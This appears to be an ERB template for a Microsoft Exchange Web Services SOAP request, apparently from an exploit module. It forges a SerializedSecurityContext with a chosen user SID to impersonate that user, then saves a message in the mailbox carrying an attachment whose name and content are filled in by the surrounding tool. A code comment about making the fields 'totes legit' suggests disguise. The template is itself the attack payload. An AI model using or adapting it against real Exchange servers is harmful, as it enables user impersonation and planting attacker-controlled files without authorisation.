42 lines
1.5 KiB
Plaintext
42 lines
1.5 KiB
Plaintext
<soap:Envelope
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
|
|
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
|
|
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<soap:Header>
|
|
<t:RequestServerVersion Version="Exchange2016" />
|
|
<t:SerializedSecurityContext>
|
|
<t:UserSid><%= user_sid.encode(xml: :text) %></t:UserSid>
|
|
<t:GroupSids>
|
|
<t:GroupIdentifier>
|
|
<t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
|
|
</t:GroupIdentifier>
|
|
</t:GroupSids>
|
|
</t:SerializedSecurityContext>
|
|
</soap:Header>
|
|
<soap:Body>
|
|
<m:CreateItem MessageDisposition="SaveOnly">
|
|
<m:Items>
|
|
<t:Message>
|
|
<t:Subject><%= subject.encode(xml: :text) %></t:Subject>
|
|
<!-- todo: make these fields totes legit -->
|
|
<t:Body BodyType="HTML"></t:Body>
|
|
<t:Attachments>
|
|
<t:FileAttachment>
|
|
<t:Name><%= file_name.encode(xml: :text) %></t:Name>
|
|
<t:IsInline>false</t:IsInline>
|
|
<t:IsContactPhoto>false</t:IsContactPhoto>
|
|
<t:Content><%= file_content.encode(xml: :text) %></t:Content>
|
|
</t:FileAttachment>
|
|
</t:Attachments>
|
|
<t:ToRecipients>
|
|
<t:Mailbox>
|
|
<t:EmailAddress><%= Faker::Internet.email.encode(xml: :text) %></t:EmailAddress>
|
|
</t:Mailbox>
|
|
</t:ToRecipients>
|
|
</t:Message>
|
|
</m:Items>
|
|
</m:CreateItem>
|
|
</soap:Body>
|
|
</soap:Envelope>
|